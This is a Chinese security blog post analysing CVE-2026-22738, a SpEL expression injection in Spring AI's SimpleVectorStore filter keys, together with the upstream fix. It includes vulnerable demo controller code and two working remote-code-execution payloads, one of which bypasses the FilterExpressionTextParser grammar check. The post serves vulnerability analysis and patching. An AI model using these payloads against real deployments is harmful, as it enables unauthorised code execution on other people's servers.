文章总结: SpringAI框架的SimpleVectorStore组件存在高危SpEL表达式注入漏洞(CVE-2026-22738),攻击者可通过恶意构造的过滤器表达式Key实现远程代码执行。漏洞影响1.0.x<1.0.5和1.1.x<1.1.4版本,核心问题在于用户输入直接拼接至SpEL模板并使用StandardEvaluationContext解析。文档详细分析了漏洞触发机制、两种绕过FilterExpressionTextParser的利用方式,并指出官方修复方案为移除SpEL改用自定义AST遍历器。建议受影响用户立即升级至安全版本。 综合评分: 85 文章分类: 漏洞分析,WEB安全,应用安全,渗透测试,安全建设
RAG从元数据Key到RCE:CVE-2026-22738 深度解析Spring AI向量存储中的SpEL表达式注入与逃逸
原创
KCyber KCyber
自在安全
2026年4月7日 07:02 北京
欢迎大家关注自在安全公众号。为更好学习交流,建了个技术交流群,大家可以扫描进群。你也可以关注公众号后@我拉你进群。
引言
近日 Spring 官方发布安全通告,披露了 Spring AI 框架存在一处高危的 SpEL 表达式注入漏洞 (CVE-2026-22738) 。漏洞源于 SimpleVectorStore 实现向量检索过滤的逻辑中,将用户提供的过滤器表达式拼接到了 SpEL 模板中,并使用 StandardEvaluationContext 进行解析,导致可构造恶意 payload 实现 RCE 。
官方通报中提到了漏洞利用的前提条件:
In Spring AI, a SpEL injection vulnerability exists in SimpleVectorStore when a user-supplied value is used as a filter expression key. A malicious actor could exploit this to execute arbitrary code.
影响版本:
- •
1.0.x < 1.0.5 - •
1.1.x < 1.1.4
漏洞分析
SimpleVectorStore 是 Spring AI 提供的一个简单的内存向量数据库实现,它允许用户定义类似 SQL 的过滤条件。具体使用案例可以参考:
https://www.infoworld.com/article/4091447/spring-ai-tutorial-get-started-with-spring-ai.html
SpEL表达式注入
漏洞触发点位于 SimpleVectorStore#doFilterPredicate 。该函数会将过滤条件直接通过 StandardEvaluationContext 函数进行解析,存在 SpEL 表达式注入风险:
搜索 doFilterPredicate 被调用的点,可以找到 similaritySearch 函数:
SimpleVectorStore.doFilterPredicate(SearchRequest)
SimpleVectorStore.doSimilaritySearch(SearchRequest)
AbstractObservationVectorStore.similaritySearch(SearchRequest)
similaritySearch 函数会使用向量数据库的嵌入模型,将查询的问题转换为多维向量。一个典型的 RAG 查询 demo 如下:
@PostMapping("/query")
public ResponseEntity<SimpleQueryResponse> simpleQuery(@RequestBody SimpleQuery simpleQuery) {
String result = ragService.query(simpleQuery);
...
public String query(SimpleQuery sr) {
Filter.Expression maliciousExpr = new Filter.Expression(
Filter.ExpressionType.EQ,
new Filter.Key(sr.getFilterExpression()),
new Filter.Value("anything")
);
SearchRequest searchRequest = SearchRequest.builder()
.query(sr.getQuery())
.topK(sr.getTopK())
.similarityThreshold(sr.getSimilarityThreshold())
.filterExpression(maliciousExpr)
.build();
List<Document> similarDocuments = vectorStore.similaritySearch(searchRequest);
Bypass FilterExpressionTextParser
为了进入 StandardEvaluationContext 处理逻辑,传递过来的 filterExpression 需要非空,格式如下:
/**
* Triple that represents and filter boolean expression as
* <code>left type right</code>.
*
* @param type Specify the expression type.
* @param left For comparison and inclusion expression types, the operand must be of
* type {@link Key} and for the AND|OR expression types the left operand must be
* another {@link Expression}.
* @param right For comparison and inclusion expression types, the operand must be of
* type {@link Value} or array of values. For the AND|OR type the right operand must
* be another {@link Expression}.
*/
public record Expression(ExpressionType type, Operand left, Operand right) implements Operand {
public Expression(ExpressionType type, Operand operand) {
this(type, operand, null);
}
}
filterExpression 对象由 Key 、Type 和 Value 组成。同时注意存在 FilterExpressionTextParser 过滤检查:
convertExpression 将 filter.Expression AST 递归遍历,其中 doKey 将 Key 无任何转义拼接到 #metadata 模板:
doValue 通过 emitSpelString 对 Value 中单引号、反斜杠等进行了转义,并且格式化为了日期格式:
Value 难以直接利用,但可以将 SpEL 载荷放到 Key 中来完成注入,这与官方通报的漏洞描述一致。构造如下请求可以触发 RCE :
'] + T(java.lang.Runtime).getRuntime().exec(new String[]{'calc'}) + #metadata['x
Bypass FilterExpressionTextParser
此外,filterExpression 还支持纯字符串进行实例化:
public Builder filterExpression(@Nullable String textExpression) {
this.searchRequest.filterExpression = (textExpression != null)
? new FilterExpressionTextParser().parse(textExpression) : null;
return this;
}
但是如果使用字符串形式的过滤器,Spring AI 会调用 FilterExpressionTextParser 进行格式处理。这里存在空值检查,并会自动加入 WHERE 前缀,更关键还会进行 ANTLR4 校验:
修改 demo 如下:
@PostMapping("/query")
public ResponseEntity<SimpleQueryResponse> simpleQuery(@RequestBody SimpleQuery simpleQuery) {
String result = ragService.query(simpleQuery);
...
public String query(SimpleQuery sr) {
// Filter.Expression maliciousExpr = new Filter.Expression(
// Filter.ExpressionType.EQ,
// new Filter.Key(sr.getFilterExpression()),
// new Filter.Value("anything")
// );
SearchRequest searchRequest = SearchRequest.builder()
.query(sr.getQuery())
.topK(sr.getTopK())
.similarityThreshold(sr.getSimilarityThreshold())
.filterExpression(sr.getFilterExpression()) //字符串实例化
.build();
List<Document> similarDocuments = vectorStore.similaritySearch(searchRequest);
常规的 SpEL 利用方式不符合语法规范会被拦截。可以在最外层包裹双引号将 SpEL 改造成合法的 Key 。
- •
FilterExpressionTextParser将双引号内的字符串作为Key,符合语法校验; - •
SimpleVectorStore处理AST时,会直接取出引号内的内容进行拼接。
绕过检查的 payload 如下:
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['" == 'anything'
修复方式
commit 记录:
https://github.com/spring-projects/spring-ai/commit/ba9220b22383e430d5f801ce8e4fa01cf9e75f29
没有采用常见的修复方式:将 StandardEvaluationContext 换成 SimpleEvaluationContext ,而是彻底移除 SpEL ,改用自定义 AST 遍历器直接求值。
由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。
欢迎大家关注自在安全公众号。为更好学习交流,建了个技术交流群,大家可以扫描进群。你也可以关注公众号后@我拉你进群。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:自在安全 KCyber KCyber《RAG从元数据Key到RCE:CVE-2026-22738 深度解析Spring AI向量存储中的SpEL表达式注入与逃逸》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论